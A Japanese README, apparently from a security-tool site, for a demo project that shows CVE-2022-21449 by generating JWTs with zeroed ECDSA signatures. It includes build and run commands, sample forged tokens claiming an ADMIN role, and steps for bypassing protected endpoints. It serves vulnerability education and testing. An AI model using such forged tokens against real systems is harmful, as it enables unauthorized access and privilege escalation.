JwtGenerator コンソールアプリの使用方法

JwtGenerator クラスは、有効な JWT トークンと偽の JWT トークンの両方を生成して出力するスタンドアロンのコンソールアプリケーションです。

実行手順

1. プロジェクトをビルドする:

   root@kitploit:~

   mvn clean install
   

2. JwtGenerator クラスを実行する:

   root@kitploit:~

   mvn exec:java -Dexec.mainClass="com.symphony_solutions.demo.util.JwtGenerator"
   

3. 出力: アプリケーションは以下を出力します:

   • 有効な JWT トークン。
   • ゼロ埋め署名を持つ偽の JWT トークン。

   例:

   root@kitploit:~

   === 有効な JWT ===
   eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsInJvbGVzIjpbIkFETUlOIiwiVVNFUiJdLCJpYXQiOjE2NzAwMDAwMDAsImV4cCI6MTY3MDAzNjAwMH0.<signature>
   
   === ゼロ署名の偽の JWT ===
   eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJib2IiLCJyb2xlcyI6WyJBRE1JTiIsIlVTRVIiXSwiaWF0IjoxNjcwMDAwMDAwLCJleHAiOjE2NzAwMzYwMDB9.<zeroed_signature>
   

4. トークンを使用する:

   • トークンをコピーし、アプリケーションやその他のツールで脆弱性をテストするために使用します。

脆弱性の実証

1. アプリケーションを起動する:

   root@kitploit:~

   mvn spring-boot:run
   

2. 保護されたエンドポイントにアクセスする:

   • 有効なトークンを使用して /protected/user または /protected/admin にアクセスします。
   • 偽のトークンを使用して、脆弱性により不正アクセスが可能になることを示します。

3. エンドポイント:

   • /protected/user: USER または ADMIN ロールが必要。
   • /protected/admin: ADMIN ロールが必要。

重要な注意事項

• このプロジェクトは教育目的のみです。本番環境では使用しないでください。
• CVE-2022-21449 を緩和するために、Java のバージョンがセキュリティパッチで更新されていることを確認してください。

参考情報

• CVE-2022-21449 詳細
• Java セキュリティアップデート

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。